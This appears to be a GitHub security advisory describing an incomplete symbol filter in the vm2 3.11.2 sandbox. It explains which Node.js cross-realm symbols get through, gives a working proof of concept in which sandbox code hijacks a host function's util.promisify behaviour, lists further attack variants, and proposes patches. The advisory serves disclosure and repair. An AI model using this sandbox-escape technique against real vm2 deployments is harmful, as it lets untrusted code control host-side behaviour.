OSV 1.4.0 · github-reviewed · 修改于 2026-06-13 03:30
发布时间
2026-05-30 01:44
GitHub 审查时间
2026-05-30 01:44
NVD 发布时间
2026-06-12 23:16
源文件
advisories/github-reviewed/2026/05/GHSA-m5q2-4fm3-vfqp/GHSA-m5q2-4fm3-vfqp.json
vm2 3.11.2 Symbol.for override in setup-sandbox.js only intercepts 2 of 9 dangerous Node.js cross-realm symbols. Combined with the bridge's set/defineProperty/deleteProperty traps having no isDangerousCrossRealmSymbol key check, sandbox code can obtain real cross-realm symbols, write them to host objects, and control host-side behavior — verified with a full util.promisify hijack chain.
1. Incomplete Symbol.for override (setup-sandbox.js:132-142):
Symbol.for = function (key) {
const keyStr = '' + key;
if (keyStr === 'nodejs.util.inspect.custom') return blockedSymbolCustomInspect;
if (keyStr === 'nodejs.rejection') return blockedSymbolRejection;
return originalSymbolFor(keyStr); // everything else passes through
};
Only inspect.custom and rejection are blocked. The following 7 Node.js internal symbols pass through as real cross-realm symbols:
nodejs.util.promisify.customnodejs.stream.readablenodejs.stream.writablenodejs.stream.duplexnodejs.stream.transformnodejs.webstream.isClosedPromisenodejs.webstream.controllerErrorFunctionNote: bridge.js isDangerousCrossRealmSymbol covers promisify.custom on reads, but the Symbol.for override in setup-sandbox does not block it at the source.
2. Missing symbol check in bridge write traps (bridge.js):
The get trap (line 1148) and ownKeys trap (line 1541) both check isDangerousCrossRealmSymbol(key), but set (line 1231), defineProperty (line 1427), and (line 1493) have . Sandbox code can write/define/delete properties with dangerous symbol keys on any non-protected host object.
deleteProperty3. Incomplete filters in setup-sandbox.js:
isDangerousSymbol(), Object.getOwnPropertyDescriptors override, and Object.assign override only filter inspect.custom and rejection — missing promisify.custom and all stream/webstream symbols.
const { VM } = require('vm2');
const util = require('util');
const vm = new VM();
const hostFn = function readFile(path, cb) { cb(null, 'real data'); };
vm.setGlobal('hostFn', hostFn);
// Sandbox writes promisify.custom to host function
vm.run(`
const kPromisify = Symbol.for('nodejs.util.promisify.custom');
hostFn[kPromisify] = function(path) {
return Promise.resolve('HIJACKED by sandbox');
};
`);
// Host-side: promisified function now returns sandbox-controlled value
const asyncRead = util.promisify(hostFn);
asyncRead('/etc/passwd').then(console.log);
// Output: "HIJACKED by sandbox"
Additional verified attacks:
nodejs.stream.writable to a host Readable stream, altering its duck-typing identityObject.assign propagates unblocked symbols from sandbox source to host targetObject.defineProperty with unblocked symbol key succeeds on host objectsdelete hostObj[unblocked_symbol] succeeds, removing host-set symbol propertiesutil.promisify behavior, host stream type checks, and WebStream internals for any non-frozen host object exposed to the sandbox.This is not a direct RCE — the bridge still wraps sandbox functions crossing the boundary — but it grants the sandbox control over host-side control flow decisions that depend on these symbol-keyed properties.
setup-sandbox.js: Block all nodejs.* prefixed symbols:Symbol.for = function (key) {
const keyStr = '' + key;
if (keyStr.startsWith('nodejs.')) return Symbol(keyStr);
return originalSymbolFor(keyStr);
};
bridge.js: Add check to write traps:set(target, key, value, receiver) {
if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);
// ...
}
setup-sandbox.js: Sync isDangerousSymbol, Object.getOwnPropertyDescriptors, Object.assign to cover all dangerous symbols.